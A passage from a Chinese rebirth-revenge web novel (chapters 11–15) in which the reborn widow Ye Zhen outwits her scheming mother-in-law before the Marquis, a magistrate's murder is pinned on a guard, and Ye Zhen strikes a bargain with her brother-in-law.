《守寡三年重生,全京城跪求我别杀了》
第11章 侯夫人害怕
“真是个废物,竟来得这么晚,险些让叶桢狡辩过去。”
侯夫人心中怒骂。
转而又想,幸好赶上了。
否则真叫侯爷去查,于她十分不利。
人一旦对另一个人的信任有了裂缝,那条裂缝就会无限扩大,许多平日坚信的事也会被推翻。
好在她反应快,及时和县令布下今日这局。
侯爷只要认定叶桢通奸,就不屑深究此事,她就能让事情终结于叶桢。
这般想,侯夫人决定,等事情完结也能给县令一个好死。
可谁料,师爷往地上一跪,喊的却是,“侯爷,还请侯爷给我们大人做主啊。
大人他,他昨夜被人吊死在房梁上了啊。”
他从怀里拿出一个荷包和手帕,“这是现场找到的,不是我家大人的东西,想来是凶手留下的。
帕子里包着的是大人指甲缝里残留的,应是大人临死前在凶手身上抓下的。”
他将证物悉数呈于忠勇侯面前。
侯夫人看清东西,大脑嗡的一下险些晕死过去。
县令怎么会死,证据还指向她。
那她给县令的东西呢?又去了哪里?
是谁坏了她的事?
忠勇侯的脸色也更沉了。
他认出了那布料纤维,是府上护卫统一穿的布料。
“你可认得这个?”
他将荷包递到侯夫人面前。
在他看来,侯夫人一向将管家之事做得很好,若凶手是侯府的人,她这个当家主母或许见过这荷包。
可侯夫人做贼心虚,惊道,“我怎会认识这个。”
话出口,她意识到自己反应过了,正欲描补,
叶桢举了手,“我似乎见过。”
侯夫人心乱不已,直觉叶桢绝不会说好话。
“你莫要胡乱掺和,给侯府惹来麻烦。”
叶桢却认真道,“似乎是母亲身边吴护卫的。”
若她不指认,侯府下人就是认出,也无人敢说出来。
侯夫人气结,心头不安越来越甚。
紫竹忙跳出来。
“少夫人当真是不检点,堂堂侯府少夫人,竟会留意一个护卫的腰身。”
叶桢将自己的荷包取下,高举头顶,同忠勇侯道,“因为一个护卫佩戴的荷包,比我这个少夫人的还好。
母亲一人掌家辛苦,我身为儿媳察觉府中异样,便会多留意几分。”
叶桢的荷包,在师爷带来的那只荷包映衬下,显得格外朴实,甚至寒酸。
忠勇侯微微蹙了蹙眉,眼底划过一抹狐惑。
每次他回府,听到的都是妻子如何善待儿媳,府中下人也被妻子管束的格外规矩。
可刚刚一个婢女竟斥责主子。
叶桢收回荷包,看向侯夫人,“我以为那是母亲赏给吴护卫的。”
做荷包的布料就是侯夫人赏的。
可她刚否认了,眼下更不能认。
她是要让叶桢烂在泥里,不是给自己招杀人罪名的。
门外的吴护卫也慌了。
他甚至都不知道荷包什么时候掉的。
从县城回来后,就被侯夫人安排盯着侯爷动向,等发现时,想着荷包里没多少银子,又有差事在身,便没急着去找。
原本,荷包掉县令家也无事,如今人死了,他若再承认那是自己的荷包,浑身是嘴都说不清了。
他忙进屋跪下澄清。
且控诉叶桢,“少夫人,属下与您无冤无仇。
您不能因上次您寻小的叙话,小的避嫌躲开就如此栽赃。”
叶桢垂眸,不与下人争辩,眼底一抹讥讽。
不愧是侯夫人的人,与她一脉相承,可他这般却是害了侯夫人。
忠勇侯眉头越蹙越深。
吴护卫见叶桢不语,还有些得意。
却不知侯夫人杀他的心都有了。
自作聪明的东西。
侯爷最重规矩,在没彻底定罪前,叶桢都是侯府的主子。
一个两个都在侯爷面前不尊叶桢,岂不是打破她昔日塑造的假象。
挽星心疼叶桢,更气侯夫人在侯府一手遮天。
她膝行上前,“侯爷明鉴,我家老爷虽只是五品,我家小姐那也是官家女。
究竟要如何不堪,才会与下人纠缠不清,他们都是诋毁。”
她急的说话都带着哭腔。
叶桢紧握她的手。
在侯府,她只有挽星。
前世,她们连辩驳的机会都没有。
这一世,她们走到了忠勇侯面前,已经不一样了。
抬眸看向忠勇侯,叶桢语气决然,“父亲,姑母曾同我说,您是最赤诚热血的大将,心中有正义。
您会误会儿媳,定是儿媳所行欠妥。
但儿媳还是那句话,儿媳愿上公堂为自己求个清白。”
忠勇侯神色晦暗。
无人告知他叶桢曾提出对簿公堂,只言语透露县令有意包庇叶桢。
“你与叶将军有往来?”
叶惊鸿,大渊女战神,亦是他昔日旧友。
“姑母时有书信教导。”
提及姑母,叶桢心头发涩。
姑母回京述职,专门绕道去看她。
第一眼,叶桢就想亲近她,彼时,幼小的她,只以为姑母是叶家唯一去看她的亲人,因而她才那般粘着她。
却原来是母女亲缘,姑母才是她的亲娘。
可惜,她们也只见过那一次便天人永隔。
可就那么一次,母亲也私下为她寻了武习师父,让她在庄子不再被欺负。
为了这唯一的亲情,叶桢此生也得好好活着,她背脊愈发挺直。
忠勇侯又问挽星,“听说是你报的官。”
侯夫人手心一片汗湿。
事情不该是这样发展的。
挽星忙解释,“是冯嬷嬷下令的。
奴婢害怕尸体,起初没敢靠近。
也根本没想过会是二公子,是县令认出二公子,奴婢才敢大着胆子上前,庄上众人皆可作证,奴婢并非有意。
但奴婢愿意领罪,只请侯爷夫人不要迁怒我家小姐。”
她说得并无破绽,谢云舟三年前就死了,谁会想到他会出现在这里。
而她身为一个女子,害怕死尸再正常不过。
同时,她提醒是县令叫出谢云舟的名字,侯爷若深思,就会想侯夫人会不会因此记恨县令。
“冯嬷嬷当时话都说不出来,全是你的猜测。”
紫竹不甘示弱。
忠勇侯再次沉默,眼神逐渐幽深。
叶桢眸光坦荡,背脊挺直。
她的婢女所言,只需审一审庄上下人便可知晓,无需撒谎。
他不了解叶桢,但他了解叶惊鸿,此人十分挑剔,非品性上佳者入不了她的眼。
更遑论她书信往来。
而当初为云舟定下叶桢时,妻子亦对叶桢夸赞有加。
若叶桢所言为真……
他沉眸看了眼侯夫人。
“来人,着我的令牌前往大理寺……”
侯夫人闻言,心都颤了。
正打算用晕倒来阻止此事,便见谢霆舟扶着王老夫人进来,“不必报官。”
侯夫人从未觉得谢霆舟如此顺眼。
可下一瞬,他又道,“昨晚吴护卫的确去了县衙。”
一盆冷水将侯夫人浇的遍体生寒。
事情完全超出掌控。
她当机立断,难以置信地指着吴护卫。
“世子说的可是真的?你背着我去县衙做什么?”
叶桢则不紧不慢地问师爷,“县令大人被害,不应该上报京兆府或者大理寺么?”
第12章 改前世走向
是啊,朝廷命官被害,为何不上报刑狱衙门,反求到了忠勇侯跟前。
所有人都看向了师爷。
师爷姓秦,名鹿,追随县令多年。
秦鹿磕头,“县令夫人出身边境,当年城破,敌军屠戮百姓时,是侯爷及时赶到,救下夫人全家。
夫人感念侯爷救命之恩,因而不忍侯爷凯旋便英名受损,方才命小的求来此处。”
忠勇侯眉峰一凝,“这话是何意?”
秦鹿抬头看了眼侯夫人,“白日侯夫人意指大人与少夫人有私情,夜里,大人就被害了。”
他将侯夫人对叶桢说的话一字不落复述。
“而小的昨日恰好在吴护卫身上,见过这荷包。
吴护卫是侯府下人,夫人担心上报官府,会连累侯爷。
一边是恩人,一边是夫君。
夫人思量再三,暂将消息封锁,命小的带着证物前来,请您私下给我家大人一个公道。”
忠勇侯听明白了。
县令夫人怀疑是侯府杀了县令,却想卖他一个人情,私下了结。
忠勇侯看了眼自己的亲随,“押下去,审。”
吴护卫迅速被带了出去。
侯夫人瘫坐在地,脸色苍白,“侯爷,这里头定是有什么误会。”
忠勇侯将她拉起,按回在椅子上,神情不辨喜怒。
转头看向王老夫人时,眸光柔和许多,“劳烦姨母跑一趟,不知姨母对此事了解多少?”
王老夫人便让嬷嬷将昨日之事都说了,包括叶桢身上伤势情况。
“老身无心干涉侯府家务,但霆哥儿他娘去得早,母族也就老身这个长辈能为他考虑一二。
若有逾越之处,还望侯爷海涵。”
忠勇侯摆手,“姨母切莫生分,我知晓您良苦用心。”
只是嬷嬷所言,与妻子让他知道的,相差甚大。
他指了指紫竹,再下令,“审。”
侯夫人几乎坐不住椅子。
她很清楚,忠勇侯审紫竹并非不信嬷嬷所言,而是疑了她这个妻子。
好在,她重用之人,都有软肋在她手中。
叶桢平静地看着侯夫人。
她被关破屋那些日子,看守她的婆子们热衷闲聊打发时间。
师爷秦鹿和县令夫人余氏被抓奸在床,让她们八卦了好一阵。
昨夜,吴护卫离开时,秦鹿就在暗处洞察一切。
叶桢尾随秦鹿去了余氏房间,确定前世传言为真,才去了县令处。
秦鹿与余氏本是青梅竹马,县令在秦鹿外出求学时,占有强娶了余氏。
婚后却并未善待她,余氏早已恨县令入骨。
秦鹿为爱放弃学业,混到县令身边,得他信任,两人多年既不曾对县令动手,亦没逃离。
叶桢猜测应是两人不舍权势。
故而留下指认侯夫人的证据,若秦鹿是个有野心的,想来会搏一搏。
今日,秦鹿登门,叶桢便知猜对了。
他们不打算报官,想找忠勇侯谋求好处。
那么他们必定会咬死县令是吴护卫所害,方能从侯爷这得到补偿。
吴护卫是侯夫人心腹,素来奉命行事,这是忠勇侯也能想到的事。
叶桢在侯夫人欲图把一切推给吴护卫时,打断她的话,将忠勇侯的注意力转到秦鹿身上。
自然,叶桢也想过,余氏和秦鹿会直接报京兆府,那么叶桢留下的证据也足以指认吴护卫。
思量间,亲随进来,“侯爷,招了。”
吴护卫坚称曾受谢云舟恩惠,因而憎恨县令将谢云舟的事宣扬开,这才痛下杀手是为谢云舟报仇。
这番说词,经不起细究。
亲随等着忠勇侯示意,是否要继续审。
忠勇侯眼皮微落,“押下去。”
算是默认了吴护卫的说法,侯夫人暗暗松了口气。
亲随出去没多久,又进来。
“侯爷恕罪,属下不察,竟让那紫竹受不住疼痛咬舌自尽。”
忠勇侯将敌国打的自献城池和美人,能跟在他身边成为他亲随的人,又岂会轻易让犯人在审讯时自戕。
何况,还是个手无缚鸡之力的婢女。
分明就是亲随揣度忠勇侯心思,没打算将紫竹吐露公之于众。
忠勇侯眼皮未掀,沉声道,“下去领鞭子。”
侯夫人再次松了口气。
侯爷终究还是护着她的。
王老夫人人老成精,怎会看不出忠勇侯有意压下此事。
起身道,“年纪大了,坐不了一会儿就困得厉害,老身便先回去了。
等侯爷那日空了,帮我捉了我那不孝子过来,陪老身吃顿家常便饭。
侯爷也许久没尝过老身的手艺了,届时,你们兄弟俩好生喝几盅。”
言下之意,今日她来是为两家私情,不会透露侯府之事,更不会让做御史的儿子捅出去。
忠勇侯也起身,将人送到庄外。
回来时,问了亲随一些话,方才回到屋内。
屋里那些人未动,忠勇侯同秦鹿道,“本侯治家不严,让奴才犯下大错,本侯会亲手杀了他为县令偿命。
夫人好意本侯领了,劳烦转告,夫人有何意愿,本侯会尽力满足,以作补偿。”
秦鹿今日来此,本就是抱着富贵险中求的心思,没想最后真得了承诺,欢喜离开。
回去后,他便会和夫人对外宣称,县令暴毙而亡。
叶桢依旧跪着。
忠勇侯示意她起来,“书肆一事本侯会去查,听说你伤势颇重,回房歇着吧。
待明日回了京城,本侯会请宫里的女医为你诊治。”
叶桢谢过,拉着挽星一并起身往外走。
对这个结果,她并无多少意外。
侯夫人深耕侯府多年,不是那么容易倒台的。
这次,叶桢没有被关破屋,挽星也还活着,还让忠勇侯意识到侯夫人并非真正完美,已算首战告捷。
余下的,徐徐图之。
侯夫人欲说些什么,忠勇侯眸光陡然凌厉,“你也先回房。”
如此,屋里便只剩忠勇侯和谢霆舟主仆。
“怎决定留下?当真不回边境?”
忠勇侯问谢霆舟。
谢霆舟眸光淡淡,“你还有闲心操心我的事?”
“那县令是谁杀的?”
谢霆舟既知吴护卫去了县城,应是派人跟了,故而忠勇侯如此一问。
被问的人睨了扶光一眼,“不知,自己查去。”
他有怀疑,暂无证据。
扶光有些惭愧,他只顾盯梢吴护卫了。
忠勇侯便不再问,整个人瘫靠在椅子上。
“此番大捷,不出意外,大渊短期内不会再起战事,我这个只会打仗的武将就得在京城呆着。
陛下是明君,但我若一点错处都没有,只怕他用得也不安心。
包庇妻子,伙同师爷掩盖县令被害真相,为封口,帮师爷谋得县令之职,算是个不错的把柄。”
便是他不去深查,也知秦鹿能代替县令夫人来此,两人关系不一般。
他哀怨地看了谢霆舟一眼,“但放在别处,我不放心,打算将他弄去边境,若你在那边,还能帮我盯着些。”
谢霆舟嗤笑,“醒醒,还没入夜就做美梦,本世子可不是替你盯人的。”
边境算是他们的地盘,便是他不在,秦鹿在那边也翻不出什么浪花。
他瞥向棺椁,“你不看看你的好大儿?”
第13章 侯夫人被惩罚
忠勇侯朝他伸手,“拉一把。”
他起不来了。
谢霆舟蹙了蹙眉,将人从椅子里拉了出来。
他难得的好心,还帮忠勇侯将谢云舟的衣裳往下扯了扯。
侯夫人命人给谢云舟清理了身体,却清不掉那暧昧淤痕。
忠勇侯都快做祖父的年纪了,只看那淤痕便明白怎么回事。
他闭了闭眼,“我一直以为他是个好孩子,也一度因将长子带在身边,忽略了次子而愧疚。
男人常年在外,女人留守家中,操持一家老小十分不易,她又从无抱怨,事事周到。
我便想着,既娶了她,就该全心信任她……”
“幸好,你打仗不糊涂,可要再看看他姘头?”
忠勇侯的低落情绪被扫去大半,“你这人都不知什么叫嘴下留情,安慰老者吗?”
专给他戳刀子。
谢霆舟勾了勾唇角,没什么正形。
“你倒算不上老,若愿意还能再生几个,亲自教养没准能教出个不错的。”
忠勇侯瞪他,“我若没记错,你平日都唤我老头子。”
顿了顿,他又道,“你不看好澜舟?”
谢澜舟是他和侯夫人的幼子,如今不过五岁。
“我是不看好孩子他娘。”
不愿多言,谢霆舟耸了耸肩,“没事我先回去了。”
却被忠勇侯喊住,“你往后可会留在侯府?”
谢霆舟脚步未停,丢下两字,“不会。”
忠勇侯双肩一点点塌下,眼底隐隐有痛意。
一盏茶后,他到了侯夫人房间。
侯夫人在他面前跪下,“侯爷,妾身错了。
妾身糊涂,不该害怕侯府名声受损,就污蔑叶桢,打算牺牲她保全侯府名声。
但妾身真的没有派人杀害县令,妾身更没想过置叶桢于死地。
妾身只是想让她先担下这一切,等风头过去,再秘密将她送回南边,给她寻一门好亲事。
她自小在南边长大,回到那里总好过在侯府守一辈子寡。
妾身知道自己这样太自私了。
可是侯爷,妾身是个没有主见的妻子和母亲,事关丈夫和儿子的名声,妾身就顾不得许多了……”
她闭上眼,眼泪滚滚落下。
事情到了这个地步,她只能主动交代一些,再狡辩,反而叫侯爷反感,彻底失去他的信任。
夫妻二十多年,她了解自己的丈夫。
忠勇侯从不曾怀疑过自己的妻子,但此时他却不知能不能再信她。
“云舟和那护卫什么时候开始的?”
他先前那般坚定谢云舟不是好男风。
但在谢霆舟阻止他报官时,他开始动摇了。
若不是对侯府不利,谢霆舟不会干预他的决定,看过尸身后,他心灰意冷。
侯夫人睁开眼,可怜巴巴,“妾身不知他们什么时候开始的。
但妾身确实对您撒了谎,云舟他前些日就联系了妾身,妾身才知他还活着。
可他和池恒的事对妾身冲击太大,妾身不知如何与您说。”
她绝不承认自己早就知道,否则侯爷只会更生气。
好在,以前云舟的事都是冯嬷嬷在料理,紫竹知之甚少。
“妾身还要与您坦白,吴护卫其实是听了妾身的命令,才去找的县令。
但妾身只是让县令帮忙坐实叶桢不洁,吴护卫回来后并没告诉妾身,他杀了县令。”
和紫竹交代的差不多,忠勇侯脸色缓和了些。
“同为女子,你对叶桢所为实在恶毒,妄想蒙骗本侯,还要以权压人更是大错。
自今日起,你便在庄上思过,无本侯同意不得回京。”
她没有求情,更没有闹,恭敬跪伏于地,“妾身有错,甘愿受罚,但妾身实在没脸让孩子们知晓。
若澜舟问起,还请侯爷替妾身全一全脸面,便说妾身是在养病。
往后妾身不能伺候在侧,也请侯爷寻个良妾替妾身照顾您……”
忠勇侯大步出了屋子。
他怕走慢了,心就软了。
侯夫人提到小儿子和良妾,叫他想起来,妻子高龄为他产下幼子,险些丧命,养了近一年才能下地。
便是卧床不能起时,也时时念着他,将他的事打点的无一不妥。
甚至还因自己不能伺候,担心他长期不得纾解于身子不利,为他张罗妾室。
可背后又怕他纳妾后忘了她,吃不下睡不着,连梦里都哭着喊他。
她有错,但对他的情意却是真的。
看着忠勇侯仓皇的背影,侯夫人缓缓勾唇。
片刻后,笑意渐冷,她咬牙,“好一个叶晚棠。”
表面与她合作,背后竟敢查云舟,还透露给叶桢。
这仇她一定得报。
京城叶家。
叶晚棠连打两个喷嚏,叶夫人忙拿了披风给她系上。
“娘,我不冷。”
叶晚棠将披风扯下。
私下里,她都是如此称呼叶夫人,只有外人在时,她才会叫回舅母。
叶夫人慈爱哄道,“乖,披上,万一伤寒了就难受了。”
“她这打了两个,是有人在骂她。”
抿了一口茶的叶正卿道,“该不会是叶桢猜到我们和侯夫人联手,在骂我们吧?”
“她那么蠢,至今还不知你们并非她爹娘,而是她的舅父舅母,又怎会猜到是我们在帮侯夫人。”
叶晚棠不以为意。
“就是,若侯夫人得逞,叶桢眼下哪还有功夫骂我们。”
叶夫人忙附和,“我们一家三口的温馨时光,你别提她,扫兴。”
叶正卿被妻女说得哑口,良久,他才道,“真的要叶桢的命吗?和从前一样养在乡下不行吗?”
她好歹是自己妹妹唯一的孩子,又被女儿占了身份,叶正卿想到自己的妹妹,总是有些发怵。
尤其这几天,夜里不安得很,做梦都是叶惊鸿来找他算账,一杆银枪将他捅个对穿。
“爹,女儿知您不忍心,若可以女儿又何尝愿意对表妹赶尽杀绝。”
杏眸微垂,眸底满是杀意,语气却是无奈。
“可眼下情况和从前不同了,她留着,女儿的身份就有可能暴露。
届时,别说您升官,怕是我们一家都不得善终。”
闻言,叶正卿那一点点不忍彻底烟消云散。
甚至盼着侯夫人早些送来好消息。
庄上,挽星得知忠勇侯对侯夫人的处罚,愤愤不平。
“她那样恶毒,结果只是思过,对外还得给她脸面说是养病。
太便宜她了,说不得过几天,侯爷一心软又给接了回去。”
那她家小姐受的苦算什么。
若非小姐会武,又及时应对,她都不敢想,侯夫人会将小姐害到什么地步。
叶桢的反应倒是格外平淡。
侯夫人在忠勇侯面前装了几十年,忠勇侯对她的感情很深,不是一朝一夕就能割裂的。
他们还有孩子,母亲声誉受损直接影响的是孩子。
忠勇侯是个看重孩子的父亲,不会轻易严惩孩子母亲。
且她笃定,侯夫人最后一定会回去的。
但回去不代表,她在侯府和忠勇侯心中的地位还能如初。
叶桢给伤口换了药后,同挽星道,“走吧,去给谢云舟守灵。”
挽星难以接受。
她都恨不得将谢云舟的尸体剁碎喂狗,还守什么灵。
这种人就该下地狱,永世不得超生。
叶桢冲她眨眨眼,“演戏去,回京后小姐请你吃遍京城一条街。”
第14章 知道真相
棺椁前,叶桢坐在蒲团上,将纸钱一张张投于盆中。
她低语,“虽说死者为大,但我不想跪你,原因你当清楚。
人人都说是我攀了高枝,可在庄上我虽无父母疼爱,却也无人欺我,不会挨饿受冻。”
走到门口的忠勇侯蹙眉,觉得叶桢这话言过其实。
他忠勇侯府家大业大,妻子再不周到也不至于让儿媳吃不饱穿不暖。
许是叶桢察觉他来,故意说给他听,给妻子上眼药的。
下一刻却听叶桢又道,“得知你死了,我挺痛快的。
从前我不明白,你既娶我,为何一直躲着不圆房,为何池恒总在我面前挑衅。
如今想来,我们的亲事根本就是你遮丑的骗局,你们早已厮混在一起。
可我何其无辜,被你们毁了一生,眼下你得到报应,我自该高兴。”
忠勇侯顿住脚步。
叶桢这话是何意?
“小姐,小心隔墙有耳。”
挽星担忧的四顾看了看,见护卫在门外,有些距离。
才敢低声道,“夫人虽被禁足庄上,但她持家几十年,府上全是她心腹。
这些话若传到她耳中,她不会让您好过的,奴婢瞧着侯爷也是个糊涂的。
儿子死了,侯夫人急匆匆赶来瞧都不瞧一眼,只顾着算计您背锅。
连我这个丫鬟都瞧出来这里头不对劲,可侯爷还是处处护着夫人。
刚刚那些话,您万不可再说了,您若实在难受,那……那……”
她为难的想了会,突然眼眸一亮,“有了,奴婢请您吃鸡腿,吃点好吃的就不难过了。”
叶桢牵强一笑,“那我请你吃八宝鸭。”
“奴婢谢小姐,不过奴婢还想吃红烧肘子,行吗?”
叶桢声音宠溺,“行,都依你,张嘴……啊……好吃吗?”
“好吃,肥而不腻,入口即化,小姐你也尝尝。”
“嗯,果然不错,如果有挽星酿的果酒就更好了。”
“嘻嘻,奴婢可是小姐的贴心小棉袄,必然是要为小姐备下的,奴婢给您满上……”
细细碎碎的低音传入耳中,忠勇侯脸色铁青。
谢云舟再不济,如今也死了。
两个胆大包天的,竟敢在他儿子的棺前食荤品酒。
他足尖一点跃上了房顶,他倒要看看这两混账究竟搬了多大的席面过来,还要说些多过分的话。
还有门口那些护卫都是死的么,竟由着她们这般胡来。
可瓦片掀开,底下哪有什么酒肉。
只有两个姑娘对着空气比划。
忠勇侯有片刻茫然。
便见佯装倒酒的挽星突然垂了手,一把抱住叶桢,啜泣出声。
“都怪奴婢没用,只能这样哄小姐开心。
也怪侯夫人太坏了,她自己绫罗绸缎,顿顿珍馐,却要求您为二公子食素着孝。
动不动就罚您抄经饿肚子,不是让您冬天跪冰地就是夏天端滚茶。
嫁入侯府三年,您身上穿的还是我们自己在庄上做的衣服,奴婢瞧着心里难受的紧。”
她狠狠瞪了眼棺椁,“最坏的就是这个,奴婢怎么想都觉得您那晚昏睡,就是他给您下的药。
他定是怕回了侯府被您发现秘密,要谋您性命。
好在小姐您命大,因胃不适将汤药吐了出来,才提前醒来,稀里糊涂进了山躲过一劫。
可如今他死了,侯夫人算计您不成,定不甘心,还不知又要怎样折腾您……”
“好了,刚是谁提醒我别乱说话来着。”
叶桢将她的嘴捏成可爱状,反过来安慰她,“往后侯爷在府上,我们的境况会变好的……”
忠勇侯若有所思地离开了。
叶桢冲挽星暗暗竖了个大拇指。
她内力不浅,忠勇侯一出现她便察觉了。
挽星低语,“侯爷会帮我们吗?”
叶桢含笑,“人要靠的终究是自己。”
刚和挽星所言的确是侯夫人所为。
但她和挽星的日子倒也不至于那么凄惨,他们有身手,背着侯夫人出府不难。
至于那些体罚,她权当是修心练功了。
演这一场也非想要忠勇侯的怜悯。
她要的是一点点撕掉侯夫人的面具,要的是忠勇侯对侯夫人起疑,从而一点点深挖下去。
叶桢知道一些秘密。
只要忠勇侯挖下去,他们夫妻必定会反目。
待侯夫人彻底失去忠勇侯这个依仗,便是叶桢杀她之时。
而忠勇侯离开后,便让人找了两个从侯府过来的仆从问话。
一番威严震慑,问的又是叶桢的日常,两人不敢隐瞒。
忠勇侯的脸黑沉得几欲滴水。
灵堂里叶桢主仆的话竟是真的。
他的妻子以叶桢是寡居为名,三年来不允她碰荤腥,不允她着新衣。
可他记得清楚,三年前谢云舟头七后,他便下令府中不必茹素。
因他是武将,深知人常年茹素于体格无益。
妻子也的确遵令解除了府上忌口,却唯独对叶桢例外。
她这般苛刻儿媳,与先前夸赞叶桢相背离……
莫非先前的夸赞都是假,妻子当真也是如叶桢所言,与叶家结亲只是为了掩饰谢云舟的喜好?
沉默良久,他下令,“夫人身边留个婆子便可,其余人明日全部回京。
既是清修养病,膳食上便清淡些,咸菜萝卜最是养胃。”
或许让她自己经历过,才能真正反思。
也该让她知道,手握兵权的忠勇侯并非是她可随意蒙骗之人。
他们母子是否骗婚,忠勇侯没再去问侯夫人。
他差不多能确定叶桢所言为真,那么妻子刚刚还是撒谎了。
再去问,他得到的也只会是谎言。
甚至他想到,三年前谢云舟的假死,有妻子的相助,否则他不可能一点都无察觉。
他对侯夫人很失望,对谢云舟亦然。
“我儿云舟三年前已死,此人虽与他容貌有些相似,却并非谢云舟,抬出去,处理了。”
亲随震惊,却也不敢真就随便埋了,心里盘算着得在庄上给二公子找块好地。
便听得忠勇侯又吩咐,“将陛下上回赏的祛疤膏给少夫人送去,同她说,庄上这几日的事往后不必再提。”
他亦不会再查云舟真正的死因。
在忠勇侯心里,儿子三年前的假死行为,犹如战场上的逃兵。
一个逃兵不值得浪费时间。
何况,他三年前决意假死时,便已是抛弃了自己这个父亲,他为此伤痛三年,而他们看着他难受只字不提。
又想到叶桢主仆俩靠幻想解馋,他补了句。
“这些日子大家赶路辛苦,山里这个时节猎物不少,去多打些来,晚上犒赏众将士,少夫人那边也多送些过去。”
这是他对叶桢的补偿。
但也仅于此。
亲随迟疑,“那些传言可要想办法扭转?”
“不必理会。”
做再多在有心人听来也是欲盖弥彰,反而又添热度,不如坚持不认,时日久了旁人觉得没意思,自会淡下去。
收到祛疤膏,叶桢便知忠勇侯信了她,离报仇又进了一步。
叶桢心里很高兴,感谢的话便说的诚意十足,还亲自将人送到门口。
却在回来后,看到慵懒坐在她房中的谢霆舟。
谢霆舟开门见山,“是你杀了县令。”
第15章 互为把柄
示意挽星在门外守着,叶桢在谢霆舟对面坐下。
“兄长此话何意?”
“本世子连谢云舟都不认,你这一声声兄长倒是叫得亲热。”
谢霆舟漫不经心的声音缓缓响起,接下来的话却让叶桢心头一凛。
“你摔下山坡是为了掩盖身上原有的伤势,让本世子想想,什么样的伤需要那细竹桩的划痕来遮掩。”
还是腿部位置。
修长手指一下下敲击着桌面,他晒然一笑。
“实在有些费脑筋,不如直接去审一审侯夫人,她定然知晓。”
他不认侯夫人做母亲,因而这些话说的毫无压力,必要时他也不介意真去审了她。
叶桢也笑,不动声色反击,“兄长身上的伤好些了吗?”
“原本应是差不多了,不过被只烈猫捣乱……”
话及此,谢霆舟眯了眯眼,“猫~抓?”
他倏然想起来,年少时涉猎前朝秘卷,秘卷上记载过这样一件事。
前朝暴君最爱虐杀女子,其中一项便是将女子四肢固定,再将饿极的野猫塞进女子裤管,而后鞭打猫。
饿猫被打,逃窜之下利爪会抓烂女子皮肉,女子痛不欲生,暴君则看着女子哭得梨花带雨,兴奋欢喜。
并将此刑取名“梨花带雨”。
后流传出去,被老鸨广泛用于调教不愿接客的女子,沿用至今。
这刑法对女子极为残忍,他曾出手管制,但妓子身份卑微,依旧有花楼暗地使用。
可叶桢是侯府少夫人,谁敢这样对她?又为何要这般折辱她?
因而他难得的语气迟疑。
叶桢衣袖下的手一紧,她再沉稳,被猜中那样的真相,心底也免不了屈辱和难堪。
好在她是个擅长隐藏情绪的人,没叫谢霆舟看出半点端倪。
但门外的挽星却呼吸急促起来,是担心叶桢被发现,也是愤怒侯夫人歹毒。
可这微末的呼吸变化,却让谢霆舟确定了心中猜想。
他瞳孔微震。
实在匪夷所思。
是侯夫人还是谢云舟?
亦或者是他们母子合谋。
谢云舟和池恒的事上不得台面,他想回侯府,就得除了叶桢这个占了他妻子名分的外人。
梨花带雨这种恶刑,花楼都要躲着用,这对母子竟敢用在侯府少夫人身上。
脑中想起叶桢那日在山里说的话,“有的人为了活着需得付出万般艰辛。”
还有那把塞给他的药草。
若叶桢受刑,又不能及时就医,那么她的身体就会溃烂。
他通医术,很快联想到什么病症会烂了身体。
脏病!
原来如此!
竟是如此!
谢霆舟捏碎了桌上茶盏。
怪不得侯夫人那天不管不顾要污蔑叶桢。
因她很清楚叶桢身上有线索。
只要拿下叶桢,她才能从叶桢嘴里问出那晚的真相。
看来老头子糊涂得不止一星半点,竟将这么一个恶妇当成宝。
那么大渊国内,其他高门后宅又有怎样的腌臜阴司……
他抬眸看向叶桢。
难怪她不惜自伤,还求到王老夫人跟前。
“为何对那个刺客出手?”
他失了试探的心思,直接亮出自己的目的。
也是亮出自己的把柄,他承认了自己就是那日的络腮胡。
叶桢有些意外。
但她也很快细思出谢霆舟来此的目的。
“这算是兄长和我的交易吗?”
他想要刺客的信息。
而她希望他对她的事守口如瓶。
谢霆舟颔首,“可以如此理解。”
叶桢亦爽快,“他是谢云舟的人。”
谢霆舟却冷了脸,“你在骗本世子?”
谢云舟身边有几个人,他很清楚,尤其扶光在侯府多年,若刺客是谢云舟的人,他定能认出来。
何况,那日他虽贴了假须,却是以真面目示人。
谢云舟怎会派人去杀他?又怎敢杀他?
他这反应让叶桢意识到,她见那刺客是在几年后。
今生的她,的确还没在谢云舟身边见过那人。
难道那人眼下还不是谢云舟的人?
还是谢云舟假死这三年招揽的?
“叶桢不敢骗世子。”
就算刺客从前不是谢云舟的人,往后也是。
她眸光坦荡,她记得清楚,当日刺客唤谢云舟为主子。
谢霆舟亦想到谢云舟离京的这三年,可若那刺客是这三年到了谢云州身边,叶桢又怎见过?
叶桢也想到了这层,但她绝不可能告知谢霆舟自己重生之事。
“我在庄子附近见过那人,冯嬷嬷曾提过谢云舟此番是带功回京,身边有能人异士相助。
因而在山里见到你们时,我才会认定他是谢云舟的人……”
前世谢云舟三年方才归来的借口,是他侥幸活命后不甘碌碌无为,潜入敌国为探子。
为大渊提供不少情报,因此得嘉赏入朝为官。
这些都是叶桢从那些看守婆子们口中得知,现下只得借冯嬷嬷这个死人之口透露给谢霆舟。
“他潜入敌国,为大渊提供情报?”
谢霆舟眼眸幽深,语气质疑?
叶桢点头,“冯嬷嬷是这样说的。”
前世与谢云舟无甚接触,不曾细想,但那晚杀死谢云舟时他的反应,叶桢怀疑了。
这样的人,真的吃得了做探子的苦么?
可朝廷的封赏不会作假,会不会是谢云舟夺了别人的功劳?
她突然想到前世谢云舟口中的贵人,会不会是那人在暗箱操作。
而这刺客根本就是那贵人身边的。
“冯嬷嬷还提过,谢云舟身后有贵人相助。”
叶桢又透露了一点。
谢霆舟既然这般在意刺客身份,定会深查,而她也想知道那个强占她不成,最后砍断她手脚,将她折磨至死的男人究竟是谁。
同时,她决定回到京城后,一定要拿到侯府的掌家权。
说不得就能从侯府账册中,查到谢云舟这三年踪迹。
他假死在外,侯夫人这个母亲不可能不管他。
谢霆舟闲闲靠在椅背上,看叶桢眼眸低垂,神色平静。
但她的眼睫间或轻颤,暴露了主人的心思。
谢霆舟就想到了曾养过的一只狐狸,它总是表现得乖巧平静,甚至很会讨好,但心机却格外多。
此时的叶桢像极了那只狐狸。
她借助老头子对付侯夫人,眼下又妄想利用他。
敛了眸光起身,谢霆舟声音清洌慵懒,“你倒是会借力,若叫本世子知道你撒谎,后果定是你承受不住的。”
“叶桢不敢。”
她亦起身,眸光清澈。
冯嬷嬷和刺客已死,叶桢不惧他查。
谢霆舟莫名看出她的心思,还真是只小狐狸。
勾了勾唇,他从怀中拿出一瓶膏药和一串东珠。
“药钱本世子自己收了,这东珠是结余的,还你。”
叶桢后背一僵,咬紧舌尖。
